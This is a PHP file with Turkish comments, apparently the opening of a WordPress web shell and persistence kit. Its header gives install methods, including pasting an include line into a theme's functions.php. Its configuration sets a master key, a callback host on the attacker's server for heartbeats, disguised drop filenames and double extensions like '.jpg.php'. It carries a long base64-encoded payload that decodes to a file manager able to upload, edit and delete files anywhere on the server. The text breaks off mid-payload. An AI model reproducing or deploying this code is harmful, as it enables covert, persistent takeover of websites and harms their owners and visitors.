<?php
/**
- TEMA TABANLI Web Shell + Kalicilik (plugin yetkisi gerektirmez)
* - YONTEM 1 — Dosya yukle:
- wp-content/themes/aktif-tema/theme-shell.php
- Giris: /wp-content/themes/aktif-tema/theme-shell.php?key=ANAHTAR
* - YONTEM 2 — Tema Editor (functions.php sonuna yapistir):
- if (!defined(‘TS_BOOT’)) { define(‘TS_BOOT’,1);
- @include_once get_template_directory().’/theme-shell.php’; }
- (once theme-shell.php dosyasini tema klasorune yukle)
* - YONTEM 3 — Mevcut shell’den: komut “theme” veya ?theme_install=1
*/
error_reporting(0);
@ini_set(‘display_errors’, 0);
// ===================== AYARLAR — BURAYI DÜZENLE =====================
$CFG = [
‘master_key’ => ‘insomnia_X7k9mP2vL8qR4nW6’,
// Kendi VPS’indeki xmlrpq.php adresin — hedef shell’ler buraya ping atar
// Ornek: https://senin-vps.com/xmlrpq.php
‘callback_host’ => ‘https://senin-vps.com/xmlrpq.php’,
‘drop_names’ => [‘.theme-cache.php’, ‘.theme-helper.php’, ‘class-theme-widget.php’, ‘customizer-preview.php’, ‘theme-setup.php’, ‘.cache_handler.php’],
‘theme_boot_file’ => ‘.theme-boot.php’,
‘theme_shell_name’ => ‘theme-shell.php’,
‘disguise_ext’ => [‘.jpg.php’, ‘.png.php’, ‘.gif.php’],
‘heartbeat_interval’ => 3600,
];
// ======================================================================
// wp-comments-log.php gomulu payload
define(‘FM_B64’, ‘PD9waHANCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQokY3VycmVudF9kaXIgPSBpc3NldCgkX0dFVFsnZGlyJ10pID8gJF9HRVRbJ2RpciddIDogZ2V0Y3dkKCk7DQoNCi8vIFNlY3VyaXR5OiBQcmV2ZW50IGRpcmVjdG9yeSB0cmF2ZXJzYWwgYnV0IGFsbG93IG5hdmlnYXRpb24NCiRjdXJyZW50X2RpciA9IHJlYWxwYXRoKCRjdXJyZW50X2Rpcik7DQppZiAoJGN1cnJlbnRfZGlyID09PSBmYWxzZSkgew0KICAgICRjdXJyZW50X2RpciA9IGdldGN3ZCgpOw0KfQ0KDQovLyBHZXQgcGFyZW50IGRpcmVjdG9yeQ0KJHBhcmVudF9kaXIgPSBkaXJuYW1lKCRjdXJyZW50X2Rpcik7DQppZiAoJHBhcmVudF9kaXIgPT0gJGN1cnJlbnRfZGlyKSB7DQogICAgJHBhcmVudF9kaXIgPSBmYWxzZTsgLy8gV2UncmUgYXQgcm9vdA0KfQ0KDQovLyBIYW5kbGUgZmlsZSB1cGxvYWQNCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfRklMRVNbJ3VwbG9hZF9maWxlJ10pKSB7DQogICAgJHVwbG9hZGVkX2ZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZSddOw0KICAgIGlmICgkdXBsb2FkZWRfZmlsZVsnZXJyb3InXSA9PT0gVVBMT0FEX0VSUl9PSykgew0KICAgICAgICAkdGFyZ2V0X3BhdGggPSAkY3VycmVudF9kaXIgLiAnLycgLiBiYXNlbmFtZSgkdXBsb2FkZWRfZmlsZVsnbmFtZSddKTsNCiAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkdXBsb2FkZWRfZmlsZVsndG1wX25hbWUnXSwgJHRhcmdldF9wYXRoKSkgew0KICAgICAgICAgICAgJHVwbG9hZF9tZXNzYWdlID0gIuKchSBGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseSEiOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHVwbG9hZF9tZXNzYWdlID0gIuKdjCBGYWlsZWQgdG8gdXBsb2FkIGZpbGUuIjsNCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KLy8gSGFuZGxlIGRpcmVjdG9yeSBjcmVhdGlvbg0KaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcgJiYgaXNzZXQoJF9QT1NUWydjcmVhdGVfZGlyJ10pKSB7DQogICAgJGRpcl9uYW1lID0gdHJpbSgkX1BPU1RbJ2Rpcl9uYW1lJ10pOw0KICAgIGlmICghZW1wdHkoJGRpcl9uYW1lKSkgew0KICAgICAgICAkbmV3X2RpciA9ICRjdXJyZW50X2RpciAuICcvJyAuIHByZWdfcmVwbGFjZSgnL1teXHdcLVwuXS8nLCAnJywgJGRpcl9uYW1lKTsNCiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkbmV3X2RpcikpIHsNCiAgICAgICAgICAgIGlmIChta2RpcigkbmV3X2RpciwgMDc1NSkpIHsNCiAgICAgICAgICAgICAgICAkZGlyX21lc3NhZ2UgPSAi4pyFIERpcmVjdG9yeSBjcmVhdGVkIHN1Y2Nlc3NmdWxseSEiOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkZGlyX21lc3NhZ2UgPSAi4p2MIEZhaWxlZCB0byBjcmVhdGUgZGlyZWN0b3J5LiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZGlyX21lc3NhZ2UgPSAi4pqg77iPIERpcmVjdG9yeSBhbHJlYWR5IGV4aXN0cy4iOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQovLyBIYW5kbGUgZmlsZSBkZWxldGlvbg0KaWYgKGlzc2V0KCRfR0VUWydkZWxldGUnXSkpIHsNCiAgICAkZmlsZV90b19kZWxldGUgPSAkY3VycmVudF9kaXIgLiAnLycgLiBiYXNlbmFtZSgkX0dFVFsnZGVsZXRlJ10pOw0KICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZV90b19kZWxldGUpKSB7DQogICAgICAgIGlmIChpc19kaXIoJGZpbGVfdG9fZGVsZXRlKSkgew0KICAgICAgICAgICAgaWYgKHJtZGlyKCRmaWxlX3RvX2RlbGV0ZSkpIHsNCiAgICAgICAgICAgICAgICAkZGVsZXRlX21lc3NhZ2UgPSAi4pyFIERpcmVjdG9yeSBkZWxldGVkISI7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBpZiAodW5saW5rKCRmaWxlX3RvX2RlbGV0ZSkpIHsNCiAgICAgICAgICAgICAgICAkZGVsZXRlX21lc3NhZ2UgPSAi4pyFIEZpbGUgZGVsZXRlZCEiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIC8vIFJlZGlyZWN0IHRvIHJlZnJlc2ggdGhlIHBhZ2UNCiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogP2Rpcj0iIC4gdXJsZW5jb2RlKCRjdXJyZW50X2RpcikpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCn0NCg0KLy8gSGFuZGxlIGZpbGUgZWRpdGluZw0KaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSB7DQogICAgJGZpbGVfdG9fZWRpdCA9ICRjdXJyZW50X2RpciAuICcvJyAuIGJhc2VuYW1lKCRfR0VUWydlZGl0J10pOw0KICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZV90b19lZGl0KSAmJiBpc19maWxlKCRmaWxlX3RvX2VkaXQpKSB7DQogICAgICAgICRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV90b19lZGl0KTsNCiAgICAgICAgDQogICAgICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsnZmlsZV9jb250ZW50J10pKSB7DQogICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGVfdG9fZWRpdCwgJF9QT1NUWydmaWxlX2NvbnRlbnQnXSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJGVkaXRfbWVzc2FnZSA9ICLinIUgRmlsZSBzYXZlZCBzdWNjZXNzZnVsbHkhIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KLy8gU2NhbiBkaXJlY3RvcnkgY29udGVudHMNCiRmaWxlcyA9IFtdOw0KJGZvbGRlcnMgPSBbXTsNCg0KaWYgKGlzX2RpcigkY3VycmVudF9kaXIpICYmIGlzX3JlYWRhYmxlKCRjdXJyZW50X2RpcikpIHsNCiAgICAkaXRlbXMgPSBzY2FuZGlyKCRjdXJyZW50X2Rpcik7DQogICAgaWYgKCRpdGVtcyAhPT0gZmFsc2UpIHsNCiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7DQogICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZnVsbF9wYXRoID0gJGN1cnJlbnRfZGlyIC4gJy8nIC4gJGl0ZW07DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1bGxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAkZm9sZGVyc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sDQogICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkZnVsbF9wYXRoLA0KICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gJ0RJUicsDQogICAgICAgICAgICAgICAgICAgICdtb2RpZmllZCcgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBmaWxlbXRpbWUoJGZ1bGxfcGF0aCkpLA0KICAgICAgICAgICAgICAgICAgICAncGVybWlzc2lvbnMnID0+IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbF9wYXRoKSksIC0zKQ0KICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRmaWxlc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sDQogICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkZnVsbF9wYXRoLA0KICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gZm9ybWF0X3NpemUoZmlsZXNpemUoJGZ1bGxfcGF0aCkpLA0KICAgICAgICAgICAgICAgICAgICAnbW9kaWZpZWQnID0+IGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZW10aW1lKCRmdWxsX3BhdGgpKSwNCiAgICAgICAgICAgICAgICAgICAgJ3Blcm1pc3Npb25zJyA9PiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtMyksDQogICAgICAgICAgICAgICAgICAgICdleHRlbnNpb24nID0+IHN0cnRvbG93ZXIocGF0aGluZm8oJGl0ZW0sIFBBVEhJTkZPX0VYVEVOU0lPTikpDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KLy8gU29ydCBmb2xkZXJzIGFuZCBmaWxlcyBhbHBoYWJldGljYWxseQ0KdXNvcnQoJGZvbGRlcnMsIGZ1bmN0aW9uKCRhLCAkYikgew0KICAgIHJldHVybiBzdHJjbXAoJGFbJ25hbWUnXSwgJGJbJ25hbWUnXSk7DQp9KTsNCnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7DQogICAgcmV0dXJuIHN0cmNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsNCn0pOw0KDQovLyBIZWxwZXIgZnVuY3Rpb24gdG8gZm9ybWF0IGZpbGUgc2l6ZQ0KZnVuY3Rpb24gZm9ybWF0X3NpemUoJGJ5dGVzKSB7DQogICAgaWYgKCRieXRlcyA+PSAxMDczNzQxODI0KSB7DQogICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNzM3NDE4MjQsIDIpIC4gJyBHQic7DQogICAgfSBlbHNlaWYgKCRieXRlcyA+PSAxMDQ4NTc2KSB7DQogICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gJyBNQic7DQogICAgfSBlbHNlaWYgKCRieXRlcyA+PSAxMDI0KSB7DQogICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgfSBlbHNlaWYgKCRieXRlcyA+IDEpIHsNCiAgICAgICAgcmV0dXJuICRieXRlcyAuICcgYnl0ZXMnOw0KICAgIH0gZWxzZWlmICgkYnl0ZXMgPT0gMSkgew0KICAgICAgICByZXR1cm4gJGJ5dGVzIC4gJyBieXRlJzsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gJzAgYnl0ZXMnOw0KICAgIH0NCn0NCg0KLy8gR2V0IGJyZWFkY3J1bWIgbmF2aWdhdGlvbg0KZnVuY3Rpb24gZ2V0X2JyZWFkY3J1bWJzKCRjdXJyZW50X2Rpcikgew0KICAgICRwYXJ0cyA9IGV4cGxvZGUoJy8nLCB0cmltKCRjdXJyZW50X2RpciwgJy8nKSk7DQogICAgJGJyZWFkY3J1bWJzID0gW107DQogICAgJHBhdGggPSAnJzsNCiAgICANCiAgICAvLyBBZGQgcm9vdA0KICAgICRicmVhZGNydW1ic1tdID0gWw0KICAgICAgICAnbmFtZScgPT4gJ1Jvb3QnLA0KICAgICAgICAncGF0aCcgPT4gJy8nDQogICAgXTsNCiAgICANCiAgICAvLyBCdWlsZCBwYXRoIHNlZ21lbnRzDQogICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7DQogICAgICAgIGlmICghZW1wdHkoJHBhcnQpKSB7DQogICAgICAgICAgICAkcGF0aCAuPSAnLycgLiAkcGFydDsNCiAgICAgICAgICAgICRicmVhZGNydW1ic1tdID0gWw0KICAgICAgICAgICAgICAgICduYW1lJyA9PiAkcGFydCwNCiAgICAgICAgICAgICAgICAncGF0aCcgPT4gJHBhdGgNCiAgICAgICAgICAgIF07DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgcmV0dXJuICRicmVhZGNydW1iczsNCn0NCg0KJGJyZWFkY3J1bWJzID0gZ2V0X2JyZWFkY3J1bWJzKCRjdXJyZW50X2Rpcik7DQoNCi8vIEdldCBjb21tb24gc3lzdGVtIHJvb3RzIGZvciBuYXZpZ2F0aW9uDQokc3lzdGVtX3Jvb3RzID0gWw0KICAgICcvJyA9PiAnUm9vdCcsDQogICAgJy9ob21lJyA9PiAnSG9tZScsDQogICAgJy92YXInID0+ICdWYXInLA0KICAgICcvdG1wJyA9PiAnVGVtcCcsDQogICAgJy9ldGMnID0+ICdDb25maWcnLA0KICAgICcvdXNyJyA9PiAnVXNlcicsDQogICAgJy9vcHQnID0+ICdPcHQnDQpdOw0KPz4NCg0KPCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPg0KICAgIDx0aXRsZT5GaWxlIE1hbmFnZXIgUHJvPC90aXRsZT4NCiAgICA8c3R5bGU+DQogICAgICAgICogew0KICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgcGFkZGluZzogMDsNCiAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGJvZHkgew0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IC1hcHBsZS1zeXN0ZW0sIEJsaW5rTWFjU3lzdGVtRm9udCwgJ1NlZ29lIFVJJywgUm9ib3RvLCBPeHlnZW4sIFVidW50dSwgc2Fucy1zZXJpZjsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsICM2NjdlZWEgMCUsICM3NjRiYTIgMTAwJSk7DQogICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDB2aDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5jb250YWluZXIgew0KICAgICAgICAgICAgbWF4LXdpZHRoOiAxNDAwcHg7DQogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTVweDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMjBweCA0MHB4IHJnYmEoMCwgMCwgMCwgMC4xKTsNCiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5oZWFkZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzRmNDZlNSAwJSwgIzdjM2FlZCAxMDAlKTsNCiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDI1cHggMzBweDsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuaGVhZGVyLWxlZnQgaDEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAyOHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogNXB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBnYXA6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5oZWFkZXItbGVmdCBwIHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDAuOTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmhlYWRlci1yaWdodCB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgZ2FwOiAxMHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnJlYWRjcnVtYnMgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y4ZmFmYzsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMzBweDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTJlOGYwOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnJlYWRjcnVtYnMgYSB7DQogICAgICAgICAgICBjb2xvcjogIzRmNDZlNTsNCiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgICAgIHRyYW5zaXRpb246IGNvbG9yIDAuM3M7DQogICAgICAgICAgICBwYWRkaW5nOiA1cHggOHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnJlYWRjcnVtYnMgYTpob3ZlciB7DQogICAgICAgICAgICBjb2xvcjogIzdjM2FlZDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmMWY1Zjk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5xdWljay1uYXYgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2YxZjVmOTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMzBweDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTJlOGYwOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsNCiAgICAgICAgICAgIGdhcDogMTBweDsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5xdWljay1uYXYgLmxhYmVsIHsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICBjb2xvcjogIzQ3NTU2OTsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMTBweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmNvbnRyb2xzIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHggMzBweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmMWY1Zjk7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UyZThmMDsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7DQogICAgICAgICAgICBnYXA6IDE1cHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5jb250cm9scyBmb3JtIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBnYXA6IDEwcHg7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnRuIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMjBweDsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDhweDsNCiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtZmxleDsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBnYXA6IDhweDsNCiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjNzOw0KICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnRuLXByaW1hcnkgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzRmNDZlNTsNCiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmJ0bi1wcmltYXJ5OmhvdmVyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICM0MzM4Y2E7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTJweCk7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCAxMnB4IHJnYmEoNzksIDcwLCAyMjksIDAuMyk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5idG4tc3VjY2VzcyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMTBiOTgxOw0KICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnRuLXN1Y2Nlc3M6aG92ZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzA1OTY2OTsNCiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMnB4KTsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgNHB4IDEycHggcmdiYSgxNiwgMTg1LCAxMjksIDAuMyk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5idG4td2FybmluZyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjU5ZTBiOw0KICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnRuLXdhcm5pbmc6aG92ZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2Q5NzcwNjsNCiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMnB4KTsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgNHB4IDEycHggcmdiYSgyNDUsIDE1OCwgMTEsIDAuMyk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5idG4tZGFuZ2VyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlZjQ0NDQ7DQogICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5idG4tZGFuZ2VyOmhvdmVyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNkYzI2MjY7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTJweCk7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCAxMnB4IHJnYmEoMjM5LCA2OCwgNjgsIDAuMyk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5idG4taW5mbyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjM2I4MmY2Ow0KICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnRuLWluZm86aG92ZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzI1NjNlYjsNCiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMnB4KTsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgNHB4IDEycHggcmdiYSg1OSwgMTMwLCAyNDYsIDAuMyk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5uYXYtYnRuIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDhweCAxNXB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZDogd2hpdGU7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjY2JkNWUxOw0KICAgICAgICAgICAgY29sb3I6ICM0NzU1Njk7DQogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4zczsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm5hdi1idG46aG92ZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzRmNDZlNTsNCiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzRmNDZlNTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnJvb3QtYnRuIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDhweCAxNXB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2VjZmRmNTsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMxMGI5ODE7DQogICAgICAgICAgICBjb2xvcjogIzA0Nzg1NzsNCiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4zczsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnJvb3QtYnRuOmhvdmVyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxMGI5ODE7DQogICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlucHV0W3R5cGU9InRleHQiXSwNCiAgICAgICAgaW5wdXRbdHlwZT0iZmlsZSJdIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTVweDsNCiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkICNlMmU4ZjA7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA4cHg7DQogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7DQogICAgICAgICAgICBtaW4td2lkdGg6IDIwMHB4Ow0KICAgICAgICAgICAgdHJhbnNpdGlvbjogYm9yZGVyLWNvbG9yIDAuM3M7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlucHV0W3R5cGU9InRleHQiXTpmb2N1cywNCiAgICAgICAgaW5wdXRbdHlwZT0iZmlsZSJdOmZvY3VzIHsNCiAgICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItY29sb3I6ICM0ZjQ2ZTU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5jb250ZW50IHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDMwcHg7DQogICAgICAgICAgICBkaXNwbGF5OiBncmlkOw0KICAgICAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnIgMzAwcHg7DQogICAgICAgICAgICBnYXA6IDMwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5tYWluLWNvbnRlbnQgew0KICAgICAgICAgICAgbWluLWhlaWdodDogNjAwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5zaWRlYmFyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmOGZhZmM7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4